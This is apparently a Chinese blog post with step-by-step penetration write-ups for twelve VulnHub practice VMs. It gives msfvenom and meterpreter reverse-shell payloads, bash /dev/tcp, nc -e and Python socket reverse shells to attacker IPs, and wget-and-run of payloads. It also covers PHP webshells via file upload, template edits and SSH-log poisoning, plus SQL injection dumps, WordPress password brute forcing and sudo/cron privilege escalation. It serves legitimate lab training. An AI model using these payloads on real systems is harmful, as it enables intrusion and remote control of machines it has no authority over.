vulnhub

渗透入门

Posted by Sprint#51264 on August 2, 2022

引言

[红日安全:vulnhub靶场实战指南]

  • breach1.0:

    https://blog.csdn.net/qq_32393893/article/details/124860465 https://blog.csdn.net/guo15890025019/article/details/117701086 msfvenom

一:breach 1.0

启发

  • keytool

    密钥管理工具

    keytool -list -keystore 根据具体用法生成.p12密钥文件

    wireshark->编辑->首选项->Protocols->TLS(新版本的wireshark没有单独的SSL选项了),edit,选定ip和端口,选中对应密钥文件,输入密码

  • 上传shell

    msfvenom -p 模块 -f 格式 -o 输出文件名做shell

    做war扩展shell方法:

        
      法1
    
      msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=xxx.xxx.xxx.xxx lport=xxxx -f jsp -o shell.jsp
    
      zip -r shell.zip shell.jsp
      cp shell.zip shell.war
    
      法2
    
      msfvenom -p java/meterpreter/reverse_tcp lhost=xxx.xxx.xxx.xxx lport=xxxx -f war -o shell.war
    
      (ps:第二种我没成功用第一种才整好不知道为什么)
    
      附弹shell:
    
      echo "bash -i >& /dev/tcp/192.168.110.128/4444 0>&1" | bash
    
    
  • 监听

    msfmulti/handler模块

    
      search multi/handler
    
      选exploit(multi/handler)
    
      设置meterpreter payload设置监听ip
    
      run或者exploit,打开监听
    
    
  • 反弹shell后

    使用meterpreter的shell命令获取操作系统

    有python环境可以用python启动虚拟终端python -c 'import pty;pty.spawn("/bin/bash")'

    得到一个用户权限之后

    cat /etc/passwd看一下有哪些用户值得关注,哪些是/bin/bash环境

    使用history查看当前用户命令历史

    使用sudo -l查看当前用户权限

  • tee + 定时任务 + nc反弹shell

    tee 命令:用来将标准输入的内容输出到标准输出并可以保存为文件

    
      echo "nc -e /bin/bash 192.168.110.128 5555" > shell.txt
      (没写权限记得换文件夹tmp就不错)
    
      cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
    
      kali: nc -lvp 5555
    

二:billux:box

流程

  • 主机发现

    先扫C段找到目标主机,中途直接用vmware切换网络连接方式可能会找不到对应ip,主机开放8022端口,对应httpssh服务

  • 端口扫描

    nmap -sV -A 192.168.197.134

  • 访问web页面

    • 发现是一个登录框,查看源码之后发现有个弹窗脚本,每次提交必弹try again

    • sqlmap注入:sqlmap -u "http://192.168.197.134" --data "un=asd&ps=asdd&login=let%27s+login" --dbms mysql 无果

    • 目录爆破test.php、add.php、in.php、c.php、index.php、show.php 目录:uploaded_images,phpmy(dirsearch速度和效率上确实没得说)

    • test.php有一个文件包含漏洞,POST方式传参可以成功,发现/etc/passwd中有ica:x:1000:1000:ica,,,:/home/ica:/bin/bash,也就是说可以用root和ica账户登录

    • 用文件包含读源码

      add.php页面有一个文件上传页面,但是没有实际功能

      in.php是phpinfo信息

      c.php包含mysql连接信息,"billu","b0x_billu","ica_lab"

      show.php需要POST传一个continue参数,然后就可以得到两条数据库里的用户信息JackCaptain Barbossa

    • 从/phpmy登录phpmyadmin

      可以看到auth表里面有一条记录biLLu hEx_it

      download表里看到从images目录下载图片,访问images目录看到图片列表,但是图片没有什么重要信息

      users里面就是刚刚show.php看到的信息

    • 使用刚得到的用户名密码尝试首页登录

      进入到panel.php

      showuser存在文件包含漏洞,对load参数进行检测,如果等于show就包含show.php,如果等于add,就包含add.php,否则就包含load参数所指示的文件,其中./是被过滤的

      用test.php查看页面源码可以发现,文件上传主要检测content-type值,如果符合image/png image\jpg image/png就可以上传到uploaded_images目录

      构造图片马y.jpg

              
        GIF89A
        <?php system($_POST['cmd']);?>
      
      

      然后传参load要改为uploaded_images/y.jpg 传cmd参数

    • 反弹shell

启发

  • 登录框漏洞挖掘思路:

    SQL注入、目录爆破、漏洞扫描、手动挖掘(查看数据包寻找利用点)、网页源码

  • 改包

    太久不用就容易生疏,改请求方式GET->POST的时候要传表单数据记得加content-type:application/x-www-form-urlencoded字段,或者其他形式的数据,不然参数识别不了

  • 文件包含信息泄露

    /etc/passwd文件查看用户

三:Bulldog 1

流程

  • 简介

    
      Bulldog Industries最近的网站被恶意的德国牧羊犬黑客团队破坏并拥有这是否意味着有更多漏洞可利用你为什么不把它们找出来呢
    
      标准的boot-to-Root靶场目标是进入root目录看到入侵成功信息
        
      建议用Virtual Box打开用vmware桥接获取不到ip
    
  • 主机发现

    
      arp-scan -l
      #192.168.43.198  08:00:27:23:5d:17       PCS Systemtechnik GmbH
    
      nmap -sP 192.168.43.0/24
      #锁定目标 192.168.43.198
    
    
  • 端口扫描

    
      nmap -sV 192.168.43.198
    
      nmap -p- -T5 192.168.43.198
    
      PORT     STATE SERVICE
      23/tcp   open  telnet
      80/tcp   open  http
      8080/tcp open  http-proxy
      MAC Address: 08:00:27:23:5D:17 (Oracle VirtualBox virtual NIC)
    
    
  • 漏洞发现

    
      主页信息找了找没有什么可利用的
    
      开始目录扫描
    
      dirsearch -u http://192.168.43.198
    
      dirb http://192.168.43.198
    
      # dirb扫出来的目录确实多
    
      主要是/dev/admin页面robots.txt页面已经被黑了
    
      admin页面登录框dev页面是介绍内容并且有一个shell可以连接(需要认证)
    
      打开源码能看到对应账户的hash值尝试破解
    
    

    hash

    
      <!--Need these password hashes for testing. Django's default is too complex-->
      <!--We'll remove these in prod. It's not like a hacker can do anything with a hash-->
      Team Lead: alan@bulldogindustries.com<br><!--6515229daf8dbdc8b89fed2e60f107433da5f2cb-->
      Back-up Team Lead: william@bulldogindustries.com<br><br><!--38882f3b81f8f2bc47d9f3119155b05f954892fb-->
      Front End: malik@bulldogindustries.com<br><!--c6f7e34d5d08ba4a40dd5627508ccb55b425e279-->
      Front End: kevin@bulldogindustries.com<br><br><!--0e6ae9fe8af1cd4192865ac97ebf6bda414218a9-->
      Back End: ashley@bulldogindustries.com<br><!--553d917a396414ab99785694afd51df3a8a8a3e0-->
      Back End: nick@bulldogindustries.com<br><br><!--ddf45997a7e18a25ad5f5cf222da64814dd060d5-->---------->(bulldog)
      Database: sarah@bulldogindustries.com<br><!--d8b8dd5e7f000b8dea26ef8428caf38c04466b3e-->--------------->(付费才有)
    
    

    登录后台

    
      nick:bulldog
    
      没有编辑权限但是认证成功之后就可以访问webshell了
    
      webshell页面只能执行一些白名单的命令
    
      尝试使用管道符来进行绕过分号被过滤了但是可以用&&实现绕过白名单
    
    
  • 反弹shell

    
      echo "bash -i >& /dev/tcp/192.168.43.28/9797 0>&1" | bash
    
      cat /etc/passwd 主要关注Django和bulldogadmin用户
    
    
  • 权限提升

    
      # -user查找属于某个用户的文件,0是标准输入,1标准输出,2标准错误输出
      find / -user bulldogadmin 2>/dev/null
    
      重点关注两个文件note  customPermissionAPP
    
      /home/bulldogadmin/.hiddenadmindirectory/customPermissionApp
      /home/bulldogadmin/.hiddenadmindirectory/note
    
      note中提示webserver有时需要root权限访问
    
      输出内容APP文件有很多乱码用strings提取可打印字符
    
      有这么一段
    
      SUPERultH
      imatePASH
      SWORDyouH
      CANTget
        
      去掉H拼接起来SUPERultimatePASSWORDyouCANTget
    
    

    提权root

    
      su root提示must be run from a terminal
    
      有python环境可以用python启动虚拟终端`python -c 'import pty;pty.spawn("/bin/bash")'`
        
      su 输入密码SUPERultimatePASSWORDyouCANTget
    
      成为rootcat /root/congrats.txt
    
    

启发

  • 复习

    进入shell之后没有从终端启动的话,可以用python起一个终端环境

    python -c 'import pty;pty.spawn("/bin/bash")'

    登陆系统之后主要找id为1000启动环境为/bin/bash的用户

  • 其他

    也可以从ssh登陆上去再su

四:LazySysAdmin: 1

流程

  • 作者提示

        
      Enumeration is key
      Try Harder
      Look in front of you
      Tweet @togiemcdogie if you need more hints
    
    
  • 主机发现

    
      namp -sP 192.168.157.0/24
    
      arp-scan -l
    
      # 发现主机 192.168.157.130
    
      内网主机探测可以用 netdiscover
    
      netdiscover -i eth0
    
  • 服务发现

    
      nmap -sV 192.168.157.130
    
      PORT     STATE SERVICE     VERSION
      22/tcp   open  ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
      80/tcp   open  http        Apache httpd 2.4.7 ((Ubuntu))
      139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
      445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
      3306/tcp open  mysql       MySQL (unauthorized)
      6667/tcp open  irc         InspIRCd
      MAC Address: 00:0C:29:2C:63:5F (VMware)
    
      masscan 192.168.157.130 -p 1-10000 --rate=1000
    
  • 漏洞发现

    
      访问80端口没有找到有用的信息
    
      访问robots.txt 发现几个页面访问之
    
      Disallow: /old/
      Disallow: /test/
      Disallow: /TR2/
      Disallow: /Backnode_files/
    
      前三个目录没东西第四放着主页的一些文件
    
        
    

    smb

    
      主机有smb服务尝试从本地资源smb://192.168.157.130
    
      访问share文件夹可以匿名其中是网站的源码文件
    
      deets.txt文件下载下来查看发现其中说明密码为12345
    
      ssh直接连接用户名就是网站上写的togie,密码就是123456
    
      idpwdwhoami
    
      root权限的
        
    
    

    扫目录

    
      dirb http://192.168.157.130
    
      dirsearch -u http://192.168.157.130
    
      发现几个页面:info.php(phpinfo页面)phpmyadmin(需要密码)wordpress()
    
      还是smb访问文件源码wp-config.php中有数据库配置
    
      得到数据库用户名密码Admin:TogieMYSQL12345^^
    
      登录phpmyadmin发现不能操作
    
      但是可以登录wordpress的管理页面wp-admin
    
      在template里面写马连接
    
    

启发

  • smb

    开放smb服务可以直接连接看看有没有开放的文件

  • wordpress

    配置页面wp-config.php

    admin页面wp-admin.php

    登陆页面wp-login.php

五:Freshly

流程

  • 描述

    目标是通过web登录然后找到敏感文件中的秘密

  • 主机发现

    
      nmap 192.168.43.0/24
    
      arp-scan -l
    
      Nmap scan report for localhost (192.168.43.89)
      Host is up (0.00022s latency).
      Not shown: 997 closed tcp ports (reset)
      PORT     STATE SERVICE
      80/tcp   open  http
      443/tcp  open  https
      8080/tcp open  http-proxy
      MAC Address: 08:00:27:C9:49:18 (Oracle VirtualBox virtual NIC)
    
    
  • 服务发现

    
      nmap -sV -A 192.168.43.89
    
      发现开放三个端口804438080
    
      其中80端口只有一张动图访问443
    
      点开连接访问了wordpress
    
    
  • 漏洞发现

    
      dirsearch -u http://192.168.43.89 -e * -t 100
        
      如果是扫的443端口就扫不到login.php和phpmyadmin
    
      wordpress/wp-login.php
    
      wordpress/
    
  • 漏洞利用

    SQL注入

    
      burp抓包保存本地文件1
    
      sqlmap -r 1 --dbms mysql -D wordpress8080 -T users --dump
    
      #admin SuperSecretPassword
    
    

    登陆后台

    
      Appearance->Editor->404page
    
      本地生成木马
    
      msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.43.28 LPORT=9594 > shell.php
    
      复制木马内容到404template里
    
      msf起一个监听
    
      use multi/handler
      set payload php/meterpreter/reverse_tcp
      set lhost 192.168.43.28
      set lport 9594
      run
    
      访问wordpress主题下的这个404页面
    
      http://192.168.43.89/wordpress/wp-content/themes/twentythirteen/404.php
    
      反弹shell成功
    
    
  • 提权

    
      当前用户
      idwhoamipwd
    
      cat /etc/passwd
    
      #秘密就在passwd文件中
    
      "# SECRET = "NOBODY EVER GOES IN, AND NOBODY EVER COMES OUT!""
    
      尝试提权到root
    
      密码是SuperSecretPassword
    
    
    

启发

  • msfvenom生成的木马拿出来代码插网页里也能用

  • 不同端口可以扫描到的目录可能不通,虽然他们部署的代码一样?

  • 另一种方法:上传shell直接到wordpress的插件中

六:FristiLeaks

FristiLeaks靶机渗透

流程

  • 目标

    得到root权限并读取flag文件

  • 注意

    设置虚拟机MAC地址为08:00:27:A5:A6:76

  • 主机发现

    
      arp-scan -l
    
      #发现目标主机 192.168.43.240
    
  • 服务发现

    
      nmap -sV -A 192.168.43.240
    
      只开了80端口HTTP服务
    
      PORT   STATE SERVICE VERSION
      80/tcp open  http    Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)
      |_http-title: Site doesn't have a title (text/html; charset=UTF-8).
      |_http-server-header: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
      | http-robots.txt: 3 disallowed entries 
      |_/cola /sisi /beer
      | http-methods: 
      |_  Potentially risky methods: TRACE
      MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)
        
      robots.txt禁止爬的页面也没有什么有用的信息
    
  • 目录扫描

    
      dirsearch -u http://192.168.43.240
    
      有images/目录
    
      其他具体信息没有
    
      尝试访问/fristi/目录
    
      发现一个登陆页面
    
      有一段注释一个叫eezeepz的人写了这个页面下面还有一段base64注释怀疑是图片信息将页面上面的图片信息直接修改为注释段的内容显示一张图片,,内容为keKkeKKeKKeKkEkkEk
    
    
    
  • 反弹shell

    
        
      尝试用username:eezeepz   password:keKkeKKeKKeKkEkkEk进行登录
    
      登录成功发现能上传文件
    
      上传有后缀限制利用apache解析特性从右往左解析,上传时添加后缀apache.php.jpg
    
      msf开一个监听multi/handlermsfvenom生成php反弹shell文件上传
    
      访问/uploads/shell.php.jpg
    
      成功反弹
    
    
  • 敏感信息发现

    
      进去home目录cd 到eezeepz目录下发现notes.txtcat之发现提示说在/tmp目录下创建一个runthis的文件夹每行写一个命令每分钟会执行一次并且结果会出在/tmp/cronresult目录下
    
      /home/admin目录下还有几个能用的命令chmoddfcatechopsgrepegrep
    
      python -c import 'import pty;pty.spawn("/bin/bash")'
    
      echo '/home/admin/chmod 777 /home/admin' > runthis
    
      然后就可以读admin目录里面的内容
    
      ls /home/admin
    
      发现 cryptpass.pywhoisyourgodnow.txtcryptedpass.txt
    
      加密后密码mVGZ3O3omkJLmy2pcuTq
      whoisyourgodnow:=RFn0AKnlMHMPIzpyuTI0ITG
    
    

    加密脚本和解密脚本

    
      python
      import base64,codecs,sys         ---使用python导入base64,codecs,sys模块module
      rot13Str = "mVGZ3O3omkJLmy2pcuTq"
      base64Str = codecs.decode(rot13Str[::-1], 'rot13')  --用codecs编码转换[::-1]decode编码转换rot13
      clearTextStr = base64.b64decode(base64Str)    ---base64Str进行decode进行base64解码
      print (clearTextStr)          ---打印出clearTextStr
    
      import base64,codecs,sys
      rot13Str = "=RFn0AKnlMHMPIzpyuTI0ITG"
      base64Str = codecs.decode(rot13Str[::-1], 'rot13')
      clearTextStr = base64.b64decode(base64Str)
      print (clearTextStr)
    
    

    解密后

    
        
      cryptedpass:        thisisalsopw123
      whoisyourgodnow:    LetThereBeFristi!
    
      尝试切换到fristigod
    
      成功登录history
    
      发现重复以下命令
    
      sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
    
      尝试执行
    
      sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom su -
    
      发现切换到了root用户
    
    
    
      ls
    
      cat fristileaks_secrets.txt
    
    
      Congratulations on beating FristiLeaks 1.0 by Ar0xA [https://tldr.nu]
    
      I wonder if you beat it in the maximum 4 hours it's supposed to take!
    
      Shoutout to people of #fristileaks (twitter) and #vulnhub (FreeNode)
    
    
      Flag: Y0u_kn0w_y0u_l0ve_fr1st1
    
    
    

启发

  • su与su -

    su只是用户切换,本身的shell环境还是原来的

    su - 是切换到root并且环境也切换成root的shell环境

  • 复习apache解析规则

七:The Ether

红日安全-Vulnhub实战指南

流程

  • 说明

    获取root权限拿到flag

  • 主机发现

    
      arp-scan -l
    
      nmap 192.168.43.0/24
    
      # 靶机192.168.43.192
    
    
  • 服务识别

    
      nmap -sV -A 192.168.43.192
    
      只能普通扫
    
      nmap -sS 192.168.43.192
    
      PORT   STATE SERVICE
      22/tcp open  ssh
      80/tcp open  http
    
      开了80  22访问之
        
    
  • 漏洞发现

    
      源码里都是井号,但是看到点页面跳转的方式是有一个file参数
    
      尝试文件包含apache日志路径无果,尝试包含ssh登录日志
    
      先ssh登录
    
      ssh '<?php system($_GET[1])?>'@192.168.43.192
    
      再包含
    
      ?file=/var/log/auth.log&1=ls
    
      (传的时候把后面的参数url全编码)
    
      ?file=/var/log/auth.log&1=%6c%73%20%2f
    
      发现命令执行
    
    
  • 漏洞利用

    
      在本地生成木马然后本地起一个http服务靶机用wget木马然后反弹shell
    
      靶机执行uname -a
    
      msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.43.28 LPORT=9594 -f elf > shell.elf
    
      python -m SimpleHTTPServer
    
      靶机
    
      wget 192.168.43.28:8000/shell.elf
    
      chmod +x shell.elf
    
      ./shell.elf
    
      (记得url全编码)
        
    
      msf开启监听本地9594端口
    
  • 权限提升(脏牛没有成功)

    脏牛提权CVE-2016-5195 ```php

    反弹shell之后uname -a

    发现版本是16.04.1,这个版本可以用脏牛提取(CVE-2016-5195)

    本地打开HTTP服务然后shell里wget一下

    gcc -pthread dirty.c -o dirty -lcrypt

    ./dirty <新密码>

    然后等待提权完成,创建好了新的账户firefart,密码自定义的

    su的时候发现需要从终端启动,用python起一个终端环境

    python -c ‘import pty;pty.spawn(“/bin/bash”)’

    不知道为什么显示账户创建成功但是没有这个用户

    
      换参考答案的思路
    
      ```php
    
      sudo -l 发现这个能不需要密码执行当前目录下的xxxlogauditorxxx.py
    
      尝试命令拼接 
    
      sudo ./xxxlogauditorxxx.py 
        
      出现日志选择页面
    
      /var/log/auth.log | ./shell.elf
    
      这样就以root权限返回一个shell
    
      我不知道怎么把开启的监听放后台再连接,于是乎又开了一个msf【捂脸】
    
      监听到,shell,whoami
    
      已经是root了
    
    
  • 敏感信息获取

        
      cd root
    
      ls
    
      meterpreter下载这个图片看一眼
    
      `Sorry,this is not the flag,but what you are looking for is near. Look within yourself to find the answer you seek.`
        
      strings flag.png
    
      提取最后的base64解码
    
      把base内容写flag.txt里面
    
      cat flag.txt | base64 -d
    
      就能看到这个基因项目的日记了nice
    
    

启发

  • 常见日志路径

    
      #apache
      /var/log/apache/access.log
      /var/log/apache2/access.log
      /var/www/logs/access.log
      /var/log/access.log
    
      #ssh
      /var/log/auth.log
    
    
  • 提权手法

    sudo执行可以执行命令的文件,运行反弹shell的文件,反弹的就是root权限的shell

八:zico2

流程

  • 描述

    
      zico想建站但是不知道用什么CMS比较好用了几个之后决定自己写一个这个主意好嘛
    
      目标:获取root权限并读flag文件
    
      提示:枚举枚举还是枚举
    
  • 主机发现

    
      arp-scan -l
    
      nmap 192.168.43.0/24
    
      netdiscover -r 192.168.43.0/24
    
      # 发现主机 192.168.43.167
    
    
  • 服务发现

    
      masscan -p 1-10000 192.168.43.167 --rate=1000
    
      nmap -sV -A 192.168.43.167
    
      PORT    STATE SERVICE
      22/tcp  open  ssh
      80/tcp  open  http
      111/tcp open  rpcbind
    
      未知原因不能深度扫描了...
    
      发现80访问之
    
    
  • 漏洞发现

    
      页面源码没有什么信息泄露但是注意到访问check them out的时候页面传参?page=tools.html
    
      怀疑存在文件包含漏洞
    
      尝试了伪协议和直接路径不行
    
      路径穿越../../../../../../etc/passwd可以
    
      发现一个zico用户ID1000
    
    

    目录扫描

    
      dirsearch -u http://192.168.43.167:80 -e * -t 100
    
      dirb http://192.168.43.167:80
    
      扫到的目录里有一些有趣的
    
      /dbadmin/img
    
      访问/dbadmin发现一个文件test_db.php
    
      点进去
    
      好像是一个后台页面可以登录
    
      尝试弱口令admin就可以登进去可能提示是在这里进行枚举吧
    
      看到使用的是SQLite 3.7.9 PHP5.3.10
    
      点左侧[table]info即可看到用户名密码信息
    
    

    信息:

    md5解密 ```php

    root:653F4B285089453FE00E2AAFAC573414 ==>(34kroot34)

    zico:96781A607F4E9F5F423AC01F0DAB0EBD ==>(zico2215@)

    ```

  • 漏洞利用

    
      尝试用获取到的密码ssh登录没成功
    
      继续看数据库页面这里发现他的数据库建立之后在本地会生成一个以数据库名称命名的php文件
    
      尝试新建一个数据库new再加一条数据写上shell
    
      然后用文件包含试一下包含这个文件因为页面给出了绝对路径
    
      包含:../../../../../user/dbadmin/new&cmd=ls
    
      命令执行成功
    
      burp里命令执行的时候还是,记得全url编码
    
      uname -a:2012 x86_64 x86_64 x86_64 GNU/Linux
    
    
  • 反弹shell

    
      本地生成
    
      kali:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.43.167 LPORT=9594 -f elf >shell.elf
    
      kali:python2 -m SimpleHTTPServer
    
      靶机:wget 192.168.43.167:8000/shell.elf
    
      靶机:chmod +x shell.elf
    
      kali:msf打开监听
    
      use exploit/multi/handler
    
      set payload linux/x86/meterpreter/reverse_tcp
    
      set lhost 192.168.43.28
    
      set lport 9594
    
      run
    
      靶机:./shell.elf
    
      发现没有执行ls了一下发现就没有shell
    
      根据解析可能是权限问题以后上传了一定要及时ls看看有没有
    
      尝试更改保存路径
    
      wget 192.168.43.28:8000/shell.elf -O /tmp/shell.elf
    
        
      ls /tmp发现保存好了运行一下(记得加运行权限)
    
      成功上线msf
    
    
  • 权限提升

    exploit-db

    
      将uname获取的靶机版本放exploit-db上查一下发现两个漏洞
    
      对应ID:3358934134
    
      下载脚本写入靶机上python开终端运行发现不行aborted了按理来说可以
    
    
    

启发

  • shell

    上传shell之后一定要及时ls看看有没有shell,可能有写入权限限制导致wget shell不能保存

  • SQLite

    也有控制台,有的版本创建数据库之后可能会在本地保存以数据库名命名的文件,可以写入shell对该文件进行包含getshell

  • burp里命令执行的时候还是,记得url全编码

  • msf search local/exploit用漏洞检索模块

    设置会话就行,set session

九:Quaoar

流程

  • 介绍

    boot-to-root,capture the flag

  • 主机发现

    
      arp-scan -l
    
      nmap -sP 192.168.43.0/24
    
      # 找到主机192.168.43.116
    
    
  • 服务发现

    
      nmap -sV 192.168.43.116
    
      PORT    STATE SERVICE     VERSION
      22/tcp  open  ssh         OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
      53/tcp  open  domain      ISC BIND 9.8.1-P1
      80/tcp  open  http        Apache httpd 2.2.22 ((Ubuntu))
      110/tcp open  pop3        Dovecot pop3d
      139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
      143/tcp open  imap        Dovecot imapd
      445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
      993/tcp open  ssl/imaps?
      995/tcp open  ssl/pop3s?
    
      详细版本探测加-A参数
    
    
  • 漏洞发现

    
      访问80是一张Quaoar的图片点击访问还是图
    
      页面源码没有特别的地方
    
      robots.txt显示有/wordpress/
    
      dirsearch 也扫出来有wordpress以及wordpress后台登陆页面
    
      用wpscan进行扫描
    
      wpscan --url http://192.168.43.116/wordpress --enumerate u
    
    
  • 漏洞利用

    
      admin:admin弱口令登录
    
      向404模板添加php反弹shell后门访问不存在页面反弹shell
    
      python -c 'import pty;pty.spawn("/bin/bash")
    
      起python环境
    
      在wp配置文件中找到root账户密码
    
      su root
    
      拿到root权限拿到另一个flag
    

启发

  • wpscan的使用

    wpscan xxx wpscan --update先更新 wpscan --url xxx wpscan –url (网站链接) –enumerate u对注册用户名爆破

    wpscan –url (网站链接) –wordlist 密码文件 –username 用户名对指定用户的密码进行爆破

十:SickOs 1.1

流程

  • 描述

    Get /root/a0216ea4d51874464078c618298b1367.txt

  • 主机发现

    
      arp-scan -l
    
      # 192.168.43.239
    
    
  • 服务发现

    
      nmap -sV 192.168.43.239
      nmap -sV -A 192.168.43.239
    
      PORT     STATE  SERVICE    VERSION
      22/tcp   open   ssh        OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0)
      3128/tcp open   http-proxy Squid http proxy 3.1.19
      8080/tcp closed http-proxy
      MAC Address: 00:0C:29:5F:63:F8 (VMware)
      Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
        
      发现三个端口22 ssh服务3128开了一个squid代理8080端口关着
    
      要给浏览器加一个192.168.43.239:3128的代理通过代理访问它的80服务
    
      dirb http://192.168.43.239 -p htp://192.168.43.239:3128
    
      dirsearch同理
    

    目录扫到/robots.txt里面有/wolfcms

  • 漏洞利用

    
      wolfcms默认后台路径为/wolfcms/?/admin
    
      admin:admin弱口令登录
    
      msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.43.8 LPORT=9594 > shell.php
    
      上传反弹shell文件访问文件位置/wolfcms/public/yes.php
    
      msf打开监听
    
      收到来自192.168.43.239的反向连接
    
    
  • 权限提升

    
      uname -a Linux SickOs 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux
    
      尝试脏牛提权上传dirty文件之后不能执行二进制文件
    
      尝试目录遍历看看有没有配置文件
    
      /var/www/wolfcms 下发现config.php
    
      cat之发现用户名密码root:john@123
    
      尝试ssh发现失败
    
      cat /etc/passwd发现用户sickos
    
    
      su sickos 使用密码john@123发现可以登录
    
      直接擦cat /root/a0216ea4d51874464078c618298b1367.txt
    
      发现没有权限
    
      sudo -l查看权限发现能执行所有命令
    
      于是 sudo cat /root/a0216ea4d51874464078c618298b1367.txt
        
    

    flag

    
      If you are viewing this!!
    
      ROOT!
    
      You have Succesfully completed SickOS1.1.
      Thanks for Trying
    
    
    

启发

  • 设置代理

    目标靶机可能设置了反向代理,要通过代理访问对应的资源才可以,所以浏览器访问或者用工具扫的时候要设置上对应的代理才可以

十一:BSides-Vancouver-2018-Workshop

流程

  • 介绍

    boot-to-root

  • 主机发现

    
      arp-scan -l 
      #192.168.43.184
    
    
  • 服务发现

    
      nmap -sV 192.168.43.184
    
      PORT   STATE SERVICE VERSION
      21/tcp open  ftp     vsftpd 2.3.5
      22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
      80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
      MAC Address: 08:00:27:B5:9A:3A (Oracle VirtualBox virtual NIC)
    
    

    访问

    
      FTP有匿名模式访问
    
      获得users.txt.bk
    
      cat一下发现五个用户名
    
      abatchy
      john
      mai
      anne
      doomguy
    
      爆破密码
      anne 密码princess
    
      获得flag
    
    

    web端

    
      ftp访问后得到用户名
    
      访问80端口发现没有东西源码也没有东西
    
      robots.txt发现页面/backup_wordpress
    
      访问之
    
    

    wpscan扫描WordPress,爆破后台用户名密码

    
      wpscan --url http://192.168.43.184/backup_wordpress --enumerate u
    
      #用户名 john admin
    
      wpscan --url http://192.168.43.184/backup_wordpress --passwords /home/dictionary/Blasting_dictionary/常用密码.txt
    
      爆破用户名john 密码enigma
    
      不能太快不然虚拟机会崩溃
    
      页面右下方login或者记住wordpress后台登录路径
    
      wp-login.php
    
      到editor里面更改header内容
    
      加入msfvenom生成的php反弹shell脚本
    
      访问/backup_wordpress/上线msf
    
      记得闭合php
    
    
  • 提权

    
      脏牛提权虚拟机崩溃了
    
      根据提示查找用户文件浏览各目录文件发现位于/usr/local/bin/cleanup文件权限为777
    
      内容为
    
      #!/bin/sh
      rm -rf /var/log/apache2/\*
    
      修改该文件反弹shell
    
      python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.43.8",9594));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
        
    
      又在/var/www下上传了个一句话连蚁剑改文件内容
    
      发现msf上线不了
    
      那就nc -lvp 9594
    
      能收到反向连接但是can't access tty不知道什么原因.....
        
    

启发

  • FTP匿名访问模式

  • hydra

十二:Kioptrix 1

流程

  • 目标

    获取root权限

  • 主机发现

    
      netdiscover -r 192.168.43.0/24
    
      arp-scan -l
    
      # 192.168.43.182
    
  • 服务发现

    
      PORT     STATE SERVICE     VERSION
      22/tcp   open  ssh         OpenSSH 2.9p2 (protocol 1.99)
      80/tcp   open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
      111/tcp  open  rpcbind     2 (RPC #100000)
      139/tcp  open  netbios-ssn Samba smbd (workgroup: MYGROUP)
      443/tcp  open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
      1024/tcp open  status      1 (RPC #100024)
      MAC Address: 00:0C:29:11:17:59 (VMware)
    
      -A深度扫描
        
      PORT     STATE SERVICE     VERSION
      22/tcp   open  ssh         OpenSSH 2.9p2 (protocol 1.99)
      |_sshv1: Server supports SSHv1
      | ssh-hostkey: 
      |   1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
      |   1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
      |_  1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
      80/tcp   open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
      |_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
      |_http-title: Test Page for the Apache Web Server on Red Hat Linux
      | http-methods: 
      |_  Potentially risky methods: TRACE
      111/tcp  open  rpcbind     2 (RPC #100000)
      | rpcinfo: 
      |   program version    port/proto  service
      |   100000  2            111/tcp   rpcbind
      |   100000  2            111/udp   rpcbind
      |   100024  1           1024/tcp   status
      |_  100024  1           1024/udp   status
      139/tcp  open  netbios-ssn Samba smbd (workgroup: AMYGROUP)
      443/tcp  open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
      |_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
      | ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
      | Not valid before: 2009-09-26T09:32:06
      |_Not valid after:  2010-09-26T09:32:06
      |_ssl-date: 2022-08-03T21:43:38+00:00; +1m50s from scanner time.
